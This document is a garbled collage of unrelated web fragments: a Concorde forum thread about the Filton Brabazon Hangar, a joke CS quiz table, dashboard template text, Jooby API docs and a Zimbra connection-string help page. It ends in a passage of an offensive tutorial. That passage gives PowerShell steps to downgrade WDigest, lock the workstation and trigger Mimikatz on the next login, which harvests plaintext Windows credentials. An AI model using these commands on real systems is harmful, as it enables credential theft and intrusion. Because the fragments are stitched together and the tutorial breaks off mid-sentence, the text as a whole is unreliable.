| Adverse Jaw 7th Feb 2011, 14:08 permalink Post: 1173 |
Reading this fascinating thread, I hesitate to add my worms eye view.
In 1969, as a young chap freshly out of school, I was given a temporary job at Filton in the printing shop attached to the Brabazon Hanger where the Concorde prototype was being assembled. Things were badly in arrears, so we were on compulsory and lucrative, overtime, working from 7am to 9pm. We had a small workshop containing about a dozen old duplicating machines for drawings and documentation. The foreman was also shop steward and I soon learned that he was in charge, when, after clocking in, I began preparing my machine with paper and ink. He informed me that nothing was to be done until he activated all the machines with his big mains power supply lever, and that was not done until we\x92d brewed up a leisurely cup of tea. In fact, the tea breaks were often and long, there was absolutely no sign of the urgency that prevailed in the rest of the factory. Draughtsmen and engineers would leave their work in a hatch with a request for so many copies \x96 sometimes with a note saying URGENT. This would invoke a snarling \x91cheeky bugger\x92 reaction as the unfortunate man's work was then shoved to the bottom of the pile. This treatment would eventually provoke a protesting manager to come through the door, which separated us from the Design Office. At this, down would go the power lever to the cry of \x91I smell management!\x92 More tea and lengthy negotiations before work limped on. The job was of course boring, the printing machines had a variable speed control habitually set of course on the lowest stop, but I found the tedium could be eased by tweaking the many adjustable controls on the paper feed and cranking up the speed until the inevitable inky jam. The result of my happy experimentation was that at the end of the day, I would have a pile of completed work about 3 feet high while my colleagues would have only about 3 inches. This led to an interview with my foreman in which he pointed out that while I was just a student mucking about, they all had families to support and I was in danger of causing the suspension of overtime. Furthermore, failure to see their point of view would lead to another meeting behind the bike sheds after work. I am filled with wonder that Concorde was completed at all knowing that the massive dedication of so many was constantly undermined \x96 indeed sabotaged by the bloody-minded working practices of those dinosaurs \x96 now replaced by the print button on every computer. Sorry, long post. |
||
| dmussen 9th Feb 2011, 02:34 permalink Post: 1184 |
More About Happy Days.
Great to hear from folk involved with this beautiful work of art (and engineering).
I tried to find that blueprint of the general arrangement of 01 but that trunk in my Garage has a lot of stuff in it. My memory is not what it used to be and brake parachute indeed makes sense. Spinning one of these aircraft would not have been an option. I did manage to get on board G-BOAC in the hanger at Filton and was permited to walk out onto the port wing wearing felt overshoes. When I saw that leading edge at close quarters I was stunned. Never got to fly the aircraft but once saw one over the Bristol Channel when I was in a Folland Gnat. He was climbing when I decided to take a closer look. Needless to say this was an exercise in futility.  Cheers. |
||
| gordonroxburgh 28th Feb 2011, 23:20 permalink Post: 1221 |
Quote:
|
||
| M2dude 23rd Apr 2011, 09:13 permalink Post: 1316 |
CliveL
(And ChristiaanJ)
Quote:
Quote:
And sorry everyone about the \xa330 cost of converting 202 into an airliner, I meant (dumb ass that I am) \xa330 MILLION. Best regards Dude |
||
| johnjosh43 27th Jul 2011, 18:32 permalink Post: 1409 |
Airframe Internal Metal Colour
or at least undercarriage doors.  They needed a "Concorde fix". While underneath on of them said "Oh Yes your doors are different colours like ours."
I'd never noticed that the metal on the inside of the main undercarriage doors that are open when she's on the ground are different colours. One is a drab green and the other is khaki. Is there any reason for this or is it just a new one has been fitted at some time and happens to be different ? |
||
| M2dude 28th Jul 2011, 08:15 permalink Post: 1410 |
Dem Kullerz
Glad the Filton AF guys enjoyed their Concorde fix. (There is no other Concorde in the UK, bar none, that able to achieve this fix better than G-BOAC can
). As far as the gear door colours go, well the 'normal' colour is the light brown one that you describe, the green primer colour door is a replacement one. (As to when we did that replacement I really can't remember I'm afraid - Extreme Brain Fatigue
).
I'll have a closer look at that door when I'm next up in Manchester in 10 days. Best Regards Dude |
||
| steve-de-s 1st Aug 2011, 22:08 permalink Post: 1416 |
Well said M2dude!
I appreciate your comments greatly, which I am fully aware of are based on nearly 37 years of experience, starting with the construction of the Concorde airframes for BAC at Filton, and following this as an engineer with BA keeping these beautiful birds flying. You are one of the real heroes and stars of the Concorde world, one of the most respected Concorde engineers in the world, add to this fact that you also basically wrote the book for BA on the air in-take system! It's a pleasure to read all your truly amazing posts based on such great knowledge gained from your mass of Concorde experience, unlike some posts on here which are based on reading books, and listening to the rubbish that\x92s out there written by those who lack any experience regarding this great aeroplane Steve Last edited by steve-de-s; 3rd Aug 2011 at 00:14 . |
||
| steve-de-s 13th Aug 2011, 12:00 permalink Post: 1427 |
Filton
Save Bristol\x92s Concorde and the Brabazon Hangar
The Brabazon Hangar dominates the south side of Filton Airfield. During the 1960s it became the home of the UK Concorde production line, but Concorde wasn\x92t the first aircraft to be built within this amazing structure. The hangar was originally built during the 1940s to enable the construction of the massive Bristol Aircraft Company\x92s type 167, which is better known as the Brabazon and hence this is where the name of the hangar came from . This giant airliner aircraft had a 230ft wingspan, and was powered by eight pair-coupled Bristol Centaurus piston engines and was Britain\x92s attempt at a non-stop trans-Atlantic airliner. The prototype flew in 1949 six years and \xa33 million after the conception, and sadly the aircraft was already obsolete. The British de Havilland Comet jet-powered airliner was already well on the way and on the other side of the Atlantic, Boeing were developing their 707, and both of these would fly faster and carry more passengers than the Brabazon The prototype flew for a short while and a second turboprop-powered prototype (Brabazon II) was being built when the project was abandoned. Both aircraft were subsequently broken up in 1953. With the demise of the Brabazon project Bristol was then left with one of the largest aircraft production facilities in Europe and therefore the giant Brabazon hangars were put to other uses, these included being used for the production line for the much more successful Bristol Britannia airliner. But the Brabazon hangar has become more famous today as the birthplace of all the British built Concordes, ten airframes were built there, one prototype known as 002, one pre-production known as 01, one development production known as Delta Golf, and of course the seven airliner production airframes detailed below\x85 G-BOAA G-BOAB G-BOAC G-BOAD G-BOAE G-BOAF G-BOAG Concorde 216 G-BOAF was the last Concorde built anywhere in the world, and of course the very last one to fly in November 2003. During her final flight she flew back to her birthplace, to Filton to form a major part of a new planned Bristol aviation museum. The plan was to house the whole of the Bristol Aviation Collection, known as the BAC, in one building, a centre to celebrate Bristol\x92s incredible aviation history, and let\x92s not forget that Bristol led the world. But like so many things in this fast changing world, ideas and directions soon change and as in this case not for the better. Heritage Concorde has heard of one idea that it wishes to push forward with anyone who would be willing to work alongside the group. With next years closure of Filton airfield, one incredible heritage building stands at risk of being ripped down and lost forever, the Brabazon Hangar. So why not use this building as the centre of the history of Bristol aviation and space industry, and in memory of the man who started it all, Sir George White. It\x92s large enough to form one of the most incredible museums in the world; it would be able to house the whole BAC collection with Concorde 216 at the centre, where she was built. This idea needs to be looked into and not dismissed so easily by the people leading the effort for the new museum. Heritage Concorde will start to develop this idea further. Any ideas, any offer of help or advice??? Steve de Sausmarez |
||
| EXWOK 14th Aug 2011, 20:41 permalink Post: 1429 |
hissinsid;
Quote:
They all had certain other 'foibles', although none were of any note operationally. I believe that AF's habit of generating ADS master warnings at M1 has been prevously covered, as has AG's 'French' DC system. There were certainly some hulls you'd rather have than others on the LHR-BGI sector, although I think I flew them all there at some point or another. As for Filton - it's always sad to see an airfield close, but especially so when there's so much history attached. It would be great to see the runway remain active, but the costs are pretty steep and the value of the land rather high. I wish all thise involved the very best of luck and hope you succeed in at least turning the hangar into something which recognises its own history and gives it a real purpose for the future. |
||
| M2dude 17th Aug 2011, 13:50 permalink Post: 1436 |
Filton and G-BOAF
This is obviously a really emotional topic, we can only hope that good sense prevails and the AAH is preserved, along of course with our beautiful G-BOAF. (When I worked at Filton
many
moons ago it was the largest single span building in Europe, not sure if that is the case now or not).
It would be really nice if the SOUTH of the UK had a non-derilict 'proper' Concorde on display to the public, and good old Alpha Fox would be the ideal example, displayed inside the building where she was born). There was so much activity in that hangar over the years, wouldn't it also be great if examples of as many as possible of the aircraft that were built, part built or modified there could be displayed too. Let's all keep our fingers crossed. Best regards Dude |


| Question | Date | Topic |
|---|---|---|
| What is the time complexity of DFS when searching for a node? | 2016-10-26 13:45 | Graph Theory |
| Would returning a random number be a good hash function? | 2016-10-26 13:59 | Data Structures |
| Does an AVL tree balance itself? | 2016-10-26 14:05 | Data Structures |
| Does P = NP? | 2016-10-26 14:25 | Sorting |
| What is the time complexity of Quantum Bogo-Sort? | 2016-10-26 14:41 | Sorting |
| What is the best distance heuristic for A*? | 2016-10-26 14:50 | Graph Theory |
| What color is the sky? | 2016-10-27 20:00 | Colors |


$12.34
+3.5%
Potential growth
$17.34
+11%
Revenue current
$12.34
-2.4%
Daily Income
$31.53
+3.5%
Expense current
Transaction History
Transfer to Paypal
07 Jan 2019, 09:12AM
$236
Tranfer to Stripe
07 Jan 2019, 09:12AM
$593
Open Projects
Your data status
Admin dashboard design
Broadcast web app mockup
15 minutes ago
30 tasks, 5 issues
Wordpress Development
Upload new design
1 hour ago
23 tasks, 5 issues
Project meeting
New project discussion
35 minutes ago
15 tasks, 2 issues
Broadcast Mail
Sent release details to team
55 minutes ago
35 tasks, 7 issues
UI Design
New application planning
50 minutes ago
27 tasks, 4 issues
Revenue
$32123
+3.5%
11.38% Since last month
Sales
$45850
+8.3%
9.61% Since last month
Purchase
$2039
-2.1%
2.27% Since last month
Order Status
|
|
Client Name | Order No | Product Cost | Project | Payment Mode | Start Date | Payment Status |
|---|---|---|---|---|---|---|---|
|
|
Henry Klein | 02312 | $14,500 | Dashboard | Credit card | 04 Dec 2019 |
Approved
|
|
|
Estella Bryan | 02312 | $14,500 | Website | Cash on delivered | 04 Dec 2019 |
Pending
|
|
|
Lucy Abbott | 02312 | $14,500 | App design | Credit card | 04 Dec 2019 |
Rejected
|
|
|
Peter Gill | 02312 | $14,500 | Development | Online Payment | 04 Dec 2019 |
Approved
|
|
|
Sallie Reyes | 02312 | $14,500 | Website | Credit card | 04 Dec 2019 |
Approved
|
Messages
View all
Leonard
5 minutes ago
Well, it seems to be working now.
Luella Mills
10 Minutes Ago
Well, it seems to be working now.
Ethel Kelly
2 Hours Ago
Please review the tickets
Herman May
4 Hours Ago
Thanks a lot. It was easy to fix it .
Portfolio Slide
CeeCee Bass
4 Hours Ago
Well, it seems to be working now.
Well, it seems to be working now.
To do list
Visitors by Countries
| USA | 1500 | 56.35% | |
| Germany | 800 | 33.25% | |
| Australia | 760 | 15.45% | |
| United Kingdom | 450 | 25.00% | |
| Romania | 620 | 10.25% | |
| Brasil | 230 | 75.00% |


| Package | Description |
|---|---|
| org.jooby |
do more, more easily
|
| org.jooby.handlers | |
| org.jooby.hbm | |
| org.jooby.metrics | |
| org.jooby.micrometer |
| Modifier and Type | Interface and Description |
|---|---|
static interface |
Route.After
after
|
static interface |
Route.Before
before
|
static interface |
Route.Complete
complete
|
static interface |
Route.Handler
A route handler that always call Route.Chain.next(Request, Response) .
|
static interface |
Route.MethodHandler
A handler for a MVC route, it extends Route.Handler by adding a reference to the method and class behind this route.
|
static interface |
Route.OneArgHandler
A functional route handler that use the return value as HTTP response.
|
static interface |
Route.ZeroArgHandler
A functional handler that use the return value as HTTP response.
|
static interface |
Sse.Handler
Server-sent event handler.
|
static interface |
Sse.Handler1
Single argument event handler.
|
| Modifier and Type | Class and Description |
|---|---|
class |
RequestLogger
request logger
|
| Modifier and Type | Method and Description |
|---|---|
Route.Filter |
Route.Definition.filter() |
| Modifier and Type | Method and Description |
|---|---|
Route.Definition |
Router.connect(String path, Route.Filter filter)
Append a route that supports HTTP CONNECT method:
|
Route.Definition |
Jooby.connect(String path, Route.Filter filter) |
Route.Definition |
Router.delete(String path, Route.Filter filter)
Append a route that supports HTTP DELETE method:
|
Route.Definition |
Jooby.delete(String path, Route.Filter filter) |
Route.Collection |
Router.delete(String path1, String path2, Route.Filter filter)
Append three routes that supports HTTP DELETE method on the same handler:
|
Route.Collection |
Jooby.delete(String path1, String path2, Route.Filter filter) |
Route.Collection |
Router.delete(String path1, String path2, String path3, Route.Filter filter)
Append three routes that supports HTTP DELETE method on the same handler:
|
Route.Collection |
Jooby.delete(String path1, String path2, String path3, Route.Filter filter) |
Route.Definition |
Router.get(String path, Route.Filter filter)
Append a filter that matches HTTP GET method:
|
Route.Definition |
Jooby.get(String path, Route.Filter filter) |
Route.Collection |
Router.get(String path1, String path2, Route.Filter filter)
Append three routes that matches the HTTP GET method on the same handler:
|
Route.Collection |
Jooby.get(String path1, String path2, Route.Filter filter) |
Route.Collection |
Router.get(String path1, String path2, String path3, Route.Filter filter)
Append three routes that supports HTTP GET method on the same handler:
|
Route.Collection |
Jooby.get(String path1, String path2, String path3, Route.Filter filter) |
Route.Definition |
Router.head(String path, Route.Filter filter)
Append a route that supports HTTP HEAD method:
|
Route.Definition |
Jooby.head(String path, Route.Filter filter) |
Route.Definition |
Router.options(String path, Route.Filter filter)
Append a route that supports HTTP OPTIONS method:
|
Route.Definition |
Jooby.options(String path, Route.Filter filter) |
Route.Definition |
Router.patch(String path, Route.Filter filter)
Append route that supports HTTP PATCH method:
|
Route.Definition |
Jooby.patch(String path, Route.Filter filter) |
Route.Collection |
Router.patch(String path1, String path2, Route.Filter filter)
Append three routes that supports HTTP PATCH method on the same handler:
|
Route.Collection |
Jooby.patch(String path1, String path2, Route.Filter filter) |
Route.Collection |
Router.patch(String path1, String path2, String path3, Route.Filter filter)
Append three routes that supports HTTP PATCH method on the same handler:
|
Route.Collection |
Jooby.patch(String path1, String path2, String path3, Route.Filter filter) |
Route.Definition |
Router.post(String path, Route.Filter filter)
Append a route that supports HTTP POST method:
|
Route.Definition |
Jooby.post(String path, Route.Filter filter) |
Route.Collection |
Router.post(String path1, String path2, Route.Filter filter)
Append three routes that supports HTTP POST method on the same handler:
|
Route.Collection |
Jooby.post(String path1, String path2, Route.Filter filter) |
Route.Collection |
Router.post(String path1, String path2, String path3, Route.Filter filter)
Append three routes that supports HTTP POST method on the same handler:
|
Route.Collection |
Jooby.post(String path1, String path2, String path3, Route.Filter filter) |
Route.Definition |
Router.put(String path, Route.Filter filter)
Append route that supports HTTP PUT method:
|
Route.Definition |
Jooby.put(String path, Route.Filter filter) |
Route.Collection |
Router.put(String path1, String path2, Route.Filter filter)
Append three routes that supports HTTP PUT method on the same handler:
|
Route.Collection |
Jooby.put(String path1, String path2, Route.Filter filter) |
Route.Collection |
Router.put(String path1, String path2, String path3, Route.Filter filter)
Append three routes that supports HTTP PUT method on the same handler:
|
Route.Collection |
Jooby.put(String path1, String path2, String path3, Route.Filter filter) |
Route.Definition |
Router.trace(String path, Route.Filter filter)
Append a route that supports HTTP TRACE method:
|
Route.Definition |
Jooby.trace(String path, Route.Filter filter) |
Route.Definition |
Router.use(String path, Route.Filter filter)
Append a new filter that matches any method under the given path.
|
Route.Definition |
Jooby.use(String path, Route.Filter filter) |
Route.Definition |
Router.use(String method, String path, Route.Filter filter)
Append a new filter that matches the given method and path.
|
Route.Definition |
Jooby.use(String verb, String path, Route.Filter filter) |
| Constructor and Description |
|---|
AssetDefinition(String method, String pattern, Route.Filter handler, boolean caseSensitiveRouting)
Creates a new route definition.
|
Definition(String method, String pattern, Route.Filter filter)
Creates a new route definition.
|
Definition(String method, String pattern, Route.Filter filter, boolean caseSensitiveRouting)
Creates a new route definition.
|
| Modifier and Type | Class and Description |
|---|---|
class |
AssetHandler
Serve static resources, via Router.assets(String) or variants.
|
class |
CorsHandler
Handle preflight and simple CORS requests.
|
class |
CsrfHandler
Cross Site Request Forgery handler
|
class |
SSIHandler
server side include
|
| Modifier and Type | Method and Description |
|---|---|
static Route.Filter |
Hbm.openSessionInView()
Creates an open session in view filter as described here.
|
| Modifier and Type | Class and Description |
|---|---|
class |
HealthCheckHandler
Produces a: 501: if the registry is empty (no health checks) 200: if all the health checks are healthy 500: otherwise
|
class |
InstrumentedHandler
Track request information like: active requests, request time and responses.
|
class |
MetricHandler
Produces a: 501: if the registry is empty (no metrics) 200: with metrics information
|
class |
PingHandler
Produces a: 200: with a body of pong
|
class |
ThreadDumpHandler
Prints thread states (a.k.a thread dump).
|
| Modifier and Type | Class and Description |
|---|---|
class |
PrometheusHandler
Expose metrics to prometheus.
|
class |
TimedHandler
Intercept Timed annotation on routes.
|
Copyright © 2019. All rights reserved.


Please ensure that your database is online and running and that the connection string in your connectionStrings.config file is correct.
1. Open [Install Location of Zimbra Community]\web\connectionStrings.config
2. Within connectionStrings.config find the <connectionStrings> configuration section below:
<connectionStrings> <add name="SiteSqlServer" connectionString="[Your connection string here]" /> </connectionStrings>
3. Modify the value to properly identify your database.
For example, to connect to a database named ‘ZimbraCommunity’ on the current machine with an account 'csSystem' and the password 'password':
connectionString = "server=.;database=ZimbraCommunity;uid=csSystem;pwd=password"


1. Create the registry key property "UseLogonCredential" at HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest and set its value to 1.
2. Lock the target computer.
3. Run Mimikatz when a user logs in.
Simple, isn't it? We can use PowerShell to easily achieve the above steps.
Everything in one script: https://github.com/samratashok/nishang/blob/master/Gather/Invoke-MimikatzWDigestDowngrade.ps1
Otherwise, manual invocations:
Registry key property can be created with:
PS C:\> New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
Lock workstation with PowerShell
PS C:\> Function Lock-WorkStation {
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation
Computer unlock event:
PS C:\> Register-wmievent -query "SELECT * FROM Win32_ProcessStopTrace WHERE ProcessName = 'LogonUI.exe'" -Action $actionblock
bove could be assembled in a PowerShell script for easy use. Let me give you Invoke-MimikatzWdigestDowngrade.ps1. The name is too long for a single script but I like it :) It uses Invoke-Mimikatz from PowerSploit (thanks to @JoesphBialek and @gentilkiwi for that). Invoke-MimikatzWdigestDowngrade is available here in the github repo of Nishang.
Things to note/Meh! :